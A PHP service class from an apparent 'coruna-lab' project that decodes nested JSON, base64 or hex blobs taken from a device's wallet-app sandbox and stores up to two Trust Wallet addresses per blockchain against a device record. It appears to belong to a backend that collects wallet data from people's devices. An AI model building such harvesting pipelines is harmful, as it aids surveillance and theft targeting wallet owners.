Files
coruna-lab/app/Services/DsTrustAddressIngest.php
T
2026-10-05 06:12:43 +08:00

190 lines
5.2 KiB
PHP

<?php
namespace App\Services;
use App\Models\Device;
use App\Support\WalletSource;
/**
* Pull plaintext Trust Wallet addresses from UTC / wallet_pkg /war sandbox.
* BTC / ETH / TRX / BSC / SOL / ARB; at most two addresses per chain, in file order.
*/
class DsTrustAddressIngest
{
public const MAX_PER_CHAIN = 2;
/** WalletCore coin type → persisted chain_type. */
private const COIN_CHAIN = [
0 => 'BITCOIN',
60 => 'ETHEREUM',
195 => 'TRON',
20000714 => 'BSC',
501 => 'SOLANA',
10042221 => 'ARBITRUM',
];
public function __construct(
private readonly IngestService $ingest,
) {}
public function ingest(Device $device, mixed $node): int
{
$rows = $this->collect($node);
if ($rows === []) {
return 0;
}
$this->ingest->ingestAddresses($device, [
'a' => 'd',
'data' => $rows,
]);
return count($rows);
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
public function collect(mixed $node): array
{
$picked = [
'BITCOIN' => [],
'ETHEREUM' => [],
'TRON' => [],
'BSC' => [],
'SOLANA' => [],
'ARBITRUM' => [],
];
foreach ($this->walkAccounts($node) as $acct) {
$address = trim((string) ($acct['address'] ?? ''));
$chain = $this->chainFor($address, $acct['coin'] ?? null);
if ($chain === null) {
continue;
}
if (in_array($address, $picked[$chain], true)) {
continue;
}
if (count($picked[$chain]) >= self::MAX_PER_CHAIN) {
continue;
}
$picked[$chain][] = $address;
}
$out = [];
foreach ($picked as $chain => $addresses) {
$symbol = match ($chain) {
'BITCOIN' => 'BTC',
'ETHEREUM' => 'ETH',
'BSC' => 'BNB',
'SOLANA' => 'SOL',
'ARBITRUM' => 'ETH',
default => 'TRX',
};
foreach ($addresses as $address) {
$out[] = [
'address' => $address,
'chainType' => $chain,
'symbol' => $symbol,
'balance' => 0,
];
}
}
return $out;
}
/**
* @return list<array<string, mixed>>
*/
private function walkAccounts(mixed $node, int $depth = 0): array
{
if ($depth > 8 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->walkAccounts($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
if (isset($node['activeAccounts']) && is_array($node['activeAccounts'])) {
return array_values(array_filter(
$node['activeAccounts'],
static fn ($row) => is_array($row)
));
}
$out = [];
foreach ($node as $key => $child) {
if (is_string($key) && strcasecmp($key, 'data_b64') === 0 && is_string($child)) {
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
continue;
}
$out = array_merge($out, $this->walkAccounts($child, $depth + 1));
}
return $out;
}
private function decodeBlob(string $raw): mixed
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
$json = json_decode($raw, true);
return is_array($json) ? $json : null;
}
$b64 = base64_decode($raw, true);
if (is_string($b64) && $b64 !== '') {
$json = json_decode($b64, true);
if (is_array($json)) {
return $json;
}
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
$bin = @hex2bin($hex);
if (is_string($bin) && $bin !== '') {
$json = json_decode($bin, true);
if (is_array($json)) {
return $json;
}
}
}
return null;
}
private function chainFor(string $address, mixed $coin): ?string
{
if ($address === '') {
return null;
}
if (is_numeric($coin)) {
$mapped = self::COIN_CHAIN[(int) $coin] ?? null;
if ($mapped !== null) {
return $mapped;
}
return null;
}
$inferred = match (WalletSource::inferChainType($address)) {
'BITCOIN' => 'BITCOIN',
'ETHEREUM' => 'ETHEREUM',
'TRON' => 'TRON',
'BSC' => 'BSC',
'SOLANA' => 'SOLANA',
default => null,
};
return $inferred;
}
}